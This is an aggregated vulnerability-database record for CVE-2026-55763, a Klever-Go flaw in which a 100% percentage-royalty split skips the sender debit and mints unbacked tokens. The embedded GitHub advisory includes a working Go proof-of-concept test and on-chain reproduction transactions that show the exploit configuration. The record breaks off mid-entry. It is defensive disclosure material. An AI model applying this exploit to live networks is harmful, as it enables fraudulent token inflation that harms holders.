{"id":"CVE-2026-55763","aliases":["EUVD-2026-67942","GHSA-v358-wf77-39xv","GO-2026-6323","SUSE-SU-2026:23692-1","SUSE-SU-2026:23712-1","openSUSE-SU-2026:21812-1"],"status":"published","title":"Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay \u003c= 0 early return. computeSplitRoyalties rejects only when splitToPay \u003e royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder's transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00507,"percentile":0.43716,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-841"],"published":"2026-08-28T20:26:43Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"Go","package":"github.com/klever-io/klever-go","fixed_in":["1.7.19-rc4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/klever-io/klever-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.7.19-rc2"},{"fixed":"1.7.19-rc4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.19-rc4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39}],"products":[{"vendor":"klever-io","product":"klever-go"}],"references":[{"url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/klever-io/klever-go/releases/tag/v1.7.19","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-v358-wf77-39xv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55763.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55763","tags":["advisory"]},{"url":"https://github.com/klever-io/klever-go","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623692-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-20909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-22547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24690","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26247","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26307","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27878","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28705","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54754","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54755","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55065","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55066","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55067","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55068","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55108","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55484","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55588","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55761","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55784","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55785","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78662","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623712-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55763","title":"Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay \u003c= 0 early return. computeSplitRoyalties rejects only when splitToPay \u003e royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder's transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T20:26:43.72Z","modified":"2026-08-31T14:02:42.262Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-841"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-67942","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay \u003c= 0 early return. computeSplitRoyalties rejects only when splitToPay \u003e royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder's transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T20:26:43Z","modified":"2026-08-31T14:02:42Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:21.100116Z"}],"ghsa":[{"id":"GHSA-v358-wf77-39xv","title":"klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits","description":"## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it → mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` — `processPercentageRoyaltiesTransfer`: split loop → `if royaltiesToPay \u003c= 0\n  { return Ok }` → `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue × rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder's transfer of the asset — not just the owner's.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender's `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender's royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4…qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty — while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx — \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d…af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx — royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757…bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.","status":"published","published":"2026-08-28T20:27:44Z","modified":"2026-08-28T20:27:44Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-841"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-55763","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay \u003c= 0 early return. computeSplitRoyalties rejects only when splitToPay \u003e royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder's transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T22:16:51.72Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-841"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55763","title":"Klever-Go: Percentage-transfer royalty skips the source debit at exactly-100% splits","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, processPercentageRoyaltiesTransfer in core/kapp/accounts/accounts.go calls SubFromBalance after the split loop and after the royaltiesToPay \u003c= 0 early return. computeSplitRoyalties rejects only when splitToPay \u003e royaltiesToPay, so a valid PercentTransferPercentage = 10000 split consumes exactly 100 percent of the royalty pool, sets royaltiesToPay to zero, and returns before the source account is debited. The split recipient receives the full royaltyAmount while the sender pays nothing and the supply counter is not updated, allowing unbounded off-the-books inflation of the transferred KDA. A KDA owner must configure a TransferPercentage royalty with a 100 percent split, after which any holder's transfer of the asset triggers the mint; the sibling processFixedRoyaltiesTransfer path is not affected because it debits the source before distribution. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T20:26:43.72Z","modified":"2026-10-28T02:31:14.941903167Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-841"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-v358-wf77-39xv","title":"klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits","description":"## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it → mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` — `processPercentageRoyaltiesTransfer`: split loop → `if royaltiesToPay \u003c= 0\n  { return Ok }` → `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue × rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a 